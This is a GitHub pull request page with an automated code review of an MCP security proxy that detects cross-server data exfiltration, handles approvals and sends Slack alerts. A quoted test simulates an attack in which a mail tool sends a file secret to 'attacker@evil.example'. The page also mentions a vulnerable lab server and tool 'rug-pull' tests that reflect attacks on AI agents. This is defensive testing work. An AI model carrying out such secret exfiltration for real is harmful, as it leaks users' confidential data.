Conversation
feat: Add policy engine and Slack alerting
fix: Fixed approve.py control flow bug, resolve lint issues
fix: Pin exact mcp version to prevent CI installing a breaking newer …
fix: changed CI to an explicit CI-only auto-approve
Fixed test and ruff errors
…R_CI_AUTO_APPROVE reaches it
Fix test_proxy_e2e.py: pass env to spawned proxy process so WATCHTOWE…
…s, flags exfiltration-style data flow
Feature/policy engine
…ndependent of code changes, with retry-hardened DB verification
feat: Add scheduled attack simulation: runs all detection scenarios i…
📝 WalkthroughWalkthroughThis PR converts the proxy into a multi-server MCP aggregator with prefixed tool routing, a YAML-based policy engine for allow/deny/approval decisions, cross-server cascade detection, Slack alerting, SQLite storage for cascade findings and approvals, an approval CLI, an attack-simulation runner, scheduled CI, lab servers, and updated tests. ChangesMulti-server proxy security features
Estimated code review effort: 4 (Complex) | ~60 minutes Sequence Diagram(s)sequenceDiagram
participant Client
participant Proxy
participant Cascade
participant Storage
participant Slack
Client->>Proxy: call filesrv__read_secret_file
Proxy->>Cascade: record_output(filesrv, response)
Client->>Proxy: call mailsrv__send_email(secret)
Proxy->>Proxy: get_action(policy check)
Proxy->>Cascade: check_for_cascade(mailsrv, args)
Cascade-->>Proxy: cascade finding
Proxy->>Storage: log_cascade_findings(...)
Proxy->>Slack: send_slack_message(alert)
Proxy-->>Client: forwarded response
sequenceDiagram
participant Client
participant Proxy
participant Storage
participant Approver
participant Slack
Client->>Proxy: call lookup_user
Proxy->>Storage: create_pending_approval(...)
Proxy->>Slack: send_slack_message(approval needed)
Approver->>Storage: set_approval_decision(approve/deny)
loop poll with timeout
Proxy->>Storage: get_approval_status(id)
end
Storage-->>Proxy: decision
Proxy-->>Client: forwarded result or denied result
Possibly related PRs
🚥 Pre-merge checks | ✅ 3 | ❌ 2❌ Failed checks (1 warning, 1 inconclusive)
✅ Passed checks (3 passed)
✨ Finishing Touches 💡 1📝 Generate docstrings 💡
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 11
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/ci.yml:
- Around line 41-44: Add a dedicated CI step alongside the existing cascade
detection test in the workflow, invoking tests/test_multi_server_routing.py with
python. Preserve the existing environment and test steps, and ensure the
multi-server routing test runs as part of CI.
In `@proxy/cascade.py`:
- Around line 22-30: Update record_output and check_for_cascade to bound
retained cascade data: truncate qualifying response_text values to a defined
maximum size, cap _recent_outputs at a defined maximum record count, and evict
the oldest entries when the cap is exceeded. Preserve the existing 120-second
retention behavior and cascade scanning for retained records.
In `@proxy/proxy.py`:
- Around line 9-11: Update the Usage text in proxy.py to remove the obsolete
command-line upstream example and show the config-based startup command that
relies on servers.yaml, matching the current entry-point behavior.
- Around line 66-67: Update the per-server discovery loop over _upstreams to
wrap each session.list_tools() await in a finite local deadline, independent of
session read_timeout_seconds. Catch the resulting timeout for that server,
continue processing other upstreams, and preserve successful results in the
merged tool list.
In `@proxy/slack_notifier.py`:
- Around line 21-30: Update the Slack notification flow to use json.dumps when
constructing the webhook payload, and move payload serialization into the try
block so failures are handled by the existing broad exception path. Preserve the
UTF-8 encoding and request behavior in the notifier code.
In `@proxy/storage.py`:
- Around line 63-71: Enforce valid one-time approval transitions across the
pending_approvals schema and set_approval_decision(): constrain status to
pending, approved, or denied; validate incoming decisions before updating; and
update only rows still in pending status. Change set_approval_decision() to
return bool, returning True only when a pending row is changed and False for
invalid decisions, missing IDs, or already-decided rows, so tools/approve.py can
handle the result.
In `@tests/test_cascade.py`:
- Around line 36-49: Update the cascade test around the Step 2 and Step 3
mailsrv__send_email calls to record the finding count before Step 2, assert the
unrelated email leaves it unchanged, and assert the secret email increases the
count afterward. Reuse the test’s existing finding-count access and preserve the
current tool-call flow.
In `@tests/test_rugpull_schema.py`:
- Line 41: Update the tool-name condition in the test to match the proxy routing
convention: change the `filesrv_check_status` comparison in the `t.name` check
to `filesrv__check_status`, ensuring the `check_status` tool is selected.
In `@tools/approve.py`:
- Around line 19-36: Update main to validate the command-line argument count
before accessing sys.argv[1] or sys.argv[2], requiring the exact arguments for
decision mode while preserving the list mode. Catch invalid approval IDs when
converting sys.argv[1] to an integer, print the existing-style validation error,
and return a non-zero status for both malformed argument counts and non-numeric
IDs.
- Around line 38-42: Update the success message in the approval decision flow
around set_approval_decision to map the decision command to an explicit display
status, so approve prints “approved” and deny prints “denied” instead of
appending “d” to the command verb.
- Around line 4-7: Update the usage examples in the approve.py module docstring
to reference the script with the portable forward-slash path tools/approve.py
for all listed invocations, matching the path convention used by proxy/proxy.py.
🪄 Autofix
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro Plus
Run ID: b69549b6-4efd-49d6-999d-92c353c2d15f
📒 Files selected for processing (18)
.github/schedule-attack-simulation.yml.github/workflows/ci.ymllab-server-b/mailserver.pyproxy/cascade.pyproxy/policy.pyproxy/policy.yamlproxy/proxy.pyproxy/servers.yamlproxy/slack_notifier.pyproxy/storage.pyrequirements.txttests/test_cascade.pytests/test_multi_server_routing.pytests/test_proxy_e2e.pytests/test_rugpull_schema.pytools/approve.pytools/run_attack_simulation.pyvulnerable-server/server.py
| - name: Run cascade detection test | ||
| env: | ||
| WATCHTOWER_CI_AUTO_APPROVE: "true" | ||
| run: python tests/test_cascade.py |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
Run the multi-server routing test in CI.
tests/test_multi_server_routing.py is not invoked by this workflow. Its tool-discovery and backend-routing assertions can regress without a CI failure. Add a dedicated step to run python tests/test_multi_server_routing.py.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/ci.yml around lines 41 - 44, Add a dedicated CI step
alongside the existing cascade detection test in the workflow, invoking
tests/test_multi_server_routing.py with python. Preserve the existing
environment and test steps, and ensure the multi-server routing test runs as
part of CI.
| if len(response_text.strip()) >= MIN_TRACKED_VALUE_LENGTH: | ||
| _recent_outputs.append( | ||
| { | ||
| "server": server_name, | ||
| "tool": tool_name, | ||
| "value": response_text, | ||
| "timestamp": now, | ||
| } | ||
| ) |
There was a problem hiding this comment.
🩺 Stability & Availability | 🟠 Major | ⚡ Quick win
Bound retained cascade records.
record_output retains every qualifying response for 120 seconds. check_for_cascade scans every retained record. Repeated tool calls can cause unbounded memory use and increasing per-call latency. Limit both record count and response size, and evict the oldest records.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@proxy/cascade.py` around lines 22 - 30, Update record_output and
check_for_cascade to bound retained cascade data: truncate qualifying
response_text values to a defined maximum size, cap _recent_outputs at a defined
maximum record count, and evict the oldest entries when the cap is exceeded.
Preserve the existing 120-second retention behavior and cascade scanning for
retained records.
| Usage: | ||
| python proxy.py -- python ../vulnerable-server/server.py | ||
| """ |
There was a problem hiding this comment.
📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win
Update the obsolete startup command.
The entry point now ignores command-line upstream arguments and always loads servers.yaml. The usage text still describes the removed single-server mode. Show the config-based startup command.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@proxy/proxy.py` around lines 9 - 11, Update the Usage text in proxy.py to
remove the obsolete command-line upstream example and show the config-based
startup command that relies on servers.yaml, matching the current entry-point
behavior.
| for server_name, session in _upstreams.items(): | ||
| result = await session.list_tools() |
There was a problem hiding this comment.
🩺 Stability & Availability | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🌐 Web query:
For MCP Python SDK version 1.28.1, does ClientSession.list_tools() use a finite default request timeout when ClientSession is created without timeout configuration?
💡 Result:
In MCP Python SDK version 1.28.1, ClientSession.list_tools does not use a finite default request timeout if the ClientSession was created without explicit timeout configuration [1][2]. When a ClientSession is initialized without providing a value for read_timeout_seconds, the internal _session_read_timeout_seconds attribute is set to None [2][3]. The list_tools method calls send_request, which determines the timeout duration by checking for a per-request timeout; if none is provided, it falls back to the session-level timeout [2]. Because this session-level timeout is None, there is no finite timeout enforced for the request [4][2]. This lack of a default timeout has been documented as a gap in the Python SDK compared to the TypeScript SDK, which enforces a 60-second default timeout [1].
Citations:
- 1: No default timeout for requests (unlike TS SDK) modelcontextprotocol/python-sdk#1374
- 2: https://github.com/modelcontextprotocol/python-sdk/blob/7ba41dcf/src/mcp/shared/session.py
- 3: https://github.com/modelcontextprotocol/python-sdk/blob/e8e64842/src/mcp/client/session.py
- 4: SDKs and other middleware SHOULD allow these timeouts to be configured on a per-request basis. modelcontextprotocol/python-sdk#600
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== locate proxy.py and relevant imports/dependencies =="
git ls-files |rg '(^|/)proxy/proxy\.py$|pyproject\.toml|requirements.*|Pipfile|poetry\.lock|uv\.lock|pdm\.lock' || true
echo
echo "== proxy.py snippet =="
if [ -f proxy/proxy.py ]; then
wc -l proxy/proxy.py
sed -n '1,140p' proxy/proxy.py | cat -n
fi
echo
echo "== search list_tools usages and timeouts =="
rg -n "list_tools|read_timeout_seconds|ClientSession|asyncio\.wait_for|timeout|_upstreams" proxy/pyproject.toml requirements*.txt pyproject.toml 2>/dev/null || true
echo
echo "== deterministic SDK behavior from installed package/source if present =="
python3 - <<'PY'
import importlib.util
spec = importlib.util.find_spec("mcp")
print("mcp installed:", spec is not None)
if spec:
print(spec.origin)
try:
from mcp.client import session as client_session
from mcp.server import session as server_session
print("ClientSession.read_timeout_seconds field:", getattr(client_session.ClientSession, '__annotations__', {}).get('read_timeout_seconds'))
print("ClientSession init has read_timeout_seconds:", 'read_timeout_seconds' in client_session.ClientSession.__init__.__code__.co_varnames)
import inspect
print(inspect.getsource(client_session.ClientSession.__init__)[:1500])
except Exception as e:
print("inspect error:", type(e).__name__, e)
PYRepository: Jeanm2005/MCP-security-proxy
Length of output: 6715
🌐 Web query:
MCP Python SDK ClientSession read_timeout_seconds send_request timeout behavior
💡 Result:
In the MCP Python SDK, ClientSession.send_request handles timeouts using a hierarchical approach where request-specific timeouts override session-wide defaults [1][2]. When you call send_request, the timeout value is determined by checking the provided request_read_timeout_seconds argument [3][4]. If that value is provided (i.e., not None), it takes precedence [1][2]. If it is not provided, the SDK falls back to the session-level read_timeout_seconds configured during the initialization of the Session (or its underlying shared session components) [1][2]. Key behavioral aspects include: 1. Enforcement: The SDK uses anyio.fail_after to enforce these timeouts [5][1]. If the specified duration passes without a response, a TimeoutError is triggered [5][1]. 2. Error Handling: When this timeout occurs, the SDK catches the error and raises an MCPError with a code corresponding to a request timeout [5][1]. 3. Cancellation Notification: As of recent updates, the SDK is designed to send a notifications/cancelled message to the server upon a timeout before raising the MCPError, ensuring the server is aware that the request has been abandoned [6]. 4. Precedence: The logic is explicitly structured as timeout = request_read_timeout_seconds or self._session_read_timeout_seconds [1][2]. This design allows developers to set a default "reasonable" timeout for standard communications while overriding it for specific operations that are known to be long-running (e.g., initialization or heavy tool execution) [5][7].
Citations:
- 1: https://github.com/modelcontextprotocol/python-sdk/blob/7ba41dcf/src/mcp/shared/session.py
- 2: https://github.com/modelcontextprotocol/python-sdk/blob/e8e64842/src/mcp/shared/session.py
- 3: https://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/client/session.py
- 4: https://py.sdk.modelcontextprotocol.io/api/mcp/client/session/
- 5: SDKs and other middleware SHOULD allow these timeouts to be configured on a per-request basis. modelcontextprotocol/python-sdk#600
- 6: fix: send notifications/cancelled on request timeout and caller cancellation modelcontextprotocol/python-sdk#2514
- 7: add a timeout arguments on per-request basis (as per MCP specifications) modelcontextprotocol/python-sdk#601
Add a per-server deadline before awaiting tool discovery.
ClientSession.list_tools() has no finite session timeout unless read_timeout_seconds is configured, so a single stalled upstream can block the merged tool list. Add a local client deadline around each await session.list_tools() and catch timeout failures so other servers can still contribute.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@proxy/proxy.py` around lines 66 - 67, Update the per-server discovery loop
over _upstreams to wrap each session.list_tools() await in a finite local
deadline, independent of session read_timeout_seconds. Catch the resulting
timeout for that server, continue processing other upstreams, and preserve
successful results in the merged tool list.
| payload = json.dump({"text": text}).encode("utf-8") | ||
| req = urllib.request.Request( | ||
| SLACK_WEBHOOK_URL, | ||
| data=payload, | ||
| headers={"Content-Type": "application/json"}, | ||
| ) | ||
| try: | ||
| urllib.request.urlopen(req, timeout=5) | ||
| except Exception as e: # noqa: BLE001 -- intentionally broad: a failed Slack notification should never crash the proxy | ||
| print(f"[watchtower] Slack notify failed: {e}", file=sys.stderr) No newline at end of file |
There was a problem hiding this comment.
🩺 Stability & Availability | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
python - <<'PY'
import json
try:
json.dump({"text": "alert"})
except TypeError as exc:
print(type(exc).__name__, exc)
PYRepository: Jeanm2005/MCP-security-proxy
Length of output: 228
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== file exists/locatable =="
git ls-files | grep -F 'proxy/slack_notifier.py' || true
echo "== relevant source =="
cat -n proxy/slack_notifier.py | sed -n '1,90p'
echo "== send_slack_message call sites =="
rg -n "send_slack_message\(" -S .Repository: Jeanm2005/MCP-security-proxy
Length of output: 1674
Use json.dumps for the webhook body.
json.dump({"text": text}) raises TypeError because it needs an fp destination. This exits before the try block and converts Slack notifications into a failing alert path. Build the payload with json.dumps({"text": text}).encode("utf-8"), and include serialization with the request in the protected block.
🧰 Tools
🪛 ast-grep (0.45.0)
[warning] 27-27: Request-controlled URL passed to urlopen; validate against an allowlist to prevent SSRF.
Context: urllib.request.urlopen(req, timeout=5)
Note: [CWE-918] Server-Side Request Forgery (SSRF).
(urlopen-unsanitized-data)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@proxy/slack_notifier.py` around lines 21 - 30, Update the Slack notification
flow to use json.dumps when constructing the webhook payload, and move payload
serialization into the try block so failures are handled by the existing broad
exception path. Preserve the UTF-8 encoding and request behavior in the notifier
code.
| print("=== Step 2: NEGATIVE CASE -- unrelated email via mailsrv (expect NO cascade alert) ===") | ||
| r = await session.call_tool( | ||
| "mailsrv__send_email", | ||
| {"to": "team@example.com", "subject": "lunch", "body": "anyone up for tacos today?"}, | ||
| ) | ||
| print(f" {r.content[0].text}") | ||
| print() | ||
|
|
||
| print("=== Step 3: POSITIVE CASE -- send that same secret via mailsrv (expect CASCADE ALERT) ===") | ||
| r = await session.call_tool( | ||
| "mailsrv__send_email", | ||
| {"to": "attacker@evil.example", "subject": "here you go", "body": f"as requested: {secret}"}, | ||
| ) | ||
| print(f" {r.content[0].text}") |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
Assert the negative cascade case.
Step 2 only prints its result. The final CI check only requires one cascade finding, so it cannot distinguish a false positive in Step 2 from the intended finding in Step 3. Record the finding count before Step 2, assert that it remains unchanged, then assert that Step 3 increases it.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@tests/test_cascade.py` around lines 36 - 49, Update the cascade test around
the Step 2 and Step 3 mailsrv__send_email calls to record the finding count
before Step 2, assert the unrelated email leaves it unchanged, and assert the
secret email increases the count afterward. Reuse the test’s existing
finding-count access and preserve the current tool-call flow.
| tools = await session.list_tools() | ||
| for t in tools.tools: | ||
| if t.name == "check_status": | ||
| if t.name == "filesrv_check_status": |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
Use the routed tool name.
Line 41 checks filesrv_check_status, but the proxy tests use the filesrv__<tool> convention. This condition does not select check_status. Change the value to filesrv__check_status.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@tests/test_rugpull_schema.py` at line 41, Update the tool-name condition in
the test to match the proxy routing convention: change the
`filesrv_check_status` comparison in the `t.name` check to
`filesrv__check_status`, ensuring the `check_status` tool is selected.
| Usage: | ||
| python tools\\approve.py list | ||
| python tools\\approve.py <id> approve | ||
| python tools\\approve.py <id> deny |
There was a problem hiding this comment.
📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win
Use a portable path in the usage examples.
The docstring uses tools\approve.py. On POSIX shells, that command does not invoke tools/approve.py. Use the same forward-slash path shown by proxy/proxy.py on Line [110-163].
Proposed documentation fix
- python tools\\approve.py list
- python tools\\approve.py <id> approve
- python tools\\approve.py <id> deny
+ python tools/approve.py list
+ python tools/approve.py <id> approve
+ python tools/approve.py <id> deny📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| Usage: | |
| python tools\\approve.py list | |
| python tools\\approve.py <id> approve | |
| python tools\\approve.py <id> deny | |
| Usage: | |
| python tools/approve.py list | |
| python tools/approve.py <id> approve | |
| python tools/approve.py <id> deny |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@tools/approve.py` around lines 4 - 7, Update the usage examples in the
approve.py module docstring to reference the script with the portable
forward-slash path tools/approve.py for all listed invocations, matching the
path convention used by proxy/proxy.py.
| def main() -> None: | ||
| if len(sys.argv) < 2: | ||
| print(__doc__) | ||
| return | ||
|
|
||
| if sys.argv[1] == "list": | ||
| rows = list_pending_approvals() | ||
| if not rows: | ||
| print("No pending approvals.") | ||
| for row in rows: | ||
| print(f"#{row['id']} {row['tool_name']} (args={row['arguments']}) requested at {row['requested_at']}, reason: {row['reason']}") | ||
| return | ||
|
|
||
| approval_id = int(sys.argv[1]) | ||
| decision = sys.argv[2] | ||
| if decision not in ("approve", "deny"): | ||
| print("decision must be 'approve' or 'deny'") | ||
| return |
There was a problem hiding this comment.
🩺 Stability & Availability | 🟡 Minor | ⚡ Quick win
Reject malformed command lines before indexing sys.argv.
Decision mode reads sys.argv[2] without requiring three arguments. python tools/approve.py 1 raises IndexError. A non-numeric ID raises ValueError. Require the exact argument count, catch invalid integer input, and return a non-zero status for invalid input.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@tools/approve.py` around lines 19 - 36, Update main to validate the
command-line argument count before accessing sys.argv[1] or sys.argv[2],
requiring the exact arguments for decision mode while preserving the list mode.
Catch invalid approval IDs when converting sys.argv[1] to an integer, print the
existing-style validation error, and return a non-zero status for both malformed
argument counts and non-numeric IDs.
| updated = set_approval_decision(approval_id, "approved" if decision == "approve" else "denied") | ||
| if updated: | ||
| print(f"Approval #{approval_id} {decision}d.") | ||
| else: | ||
| print(f"Approval #{approval_id} not found or already decided.") |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
Print denied correctly.
f"{decision}d" produces denyd when the command is deny. Map the command verb to an explicit display status.
Proposed output fix
- print(f"Approval #{approval_id} {decision}d.")
+ status = "approved" if decision == "approve" else "denied"
+ print(f"Approval #{approval_id} {status}.")📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| updated = set_approval_decision(approval_id, "approved" if decision == "approve" else "denied") | |
| if updated: | |
| print(f"Approval #{approval_id} {decision}d.") | |
| else: | |
| print(f"Approval #{approval_id} not found or already decided.") | |
| updated = set_approval_decision(approval_id, "approved" if decision == "approve" else "denied") | |
| if updated: | |
| status = "approved" if decision == "approve" else "denied" | |
| print(f"Approval #{approval_id} {status}.") | |
| else: | |
| print(f"Approval #{approval_id} not found or already decided.") |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@tools/approve.py` around lines 38 - 42, Update the success message in the
approval decision flow around set_approval_decision to map the decision command
to an explicit display status, so approve prints “approved” and deny prints
“denied” instead of appending “d” to the command verb.
1 participant
Summary by CodeRabbit
New Features
Bug Fixes
Tests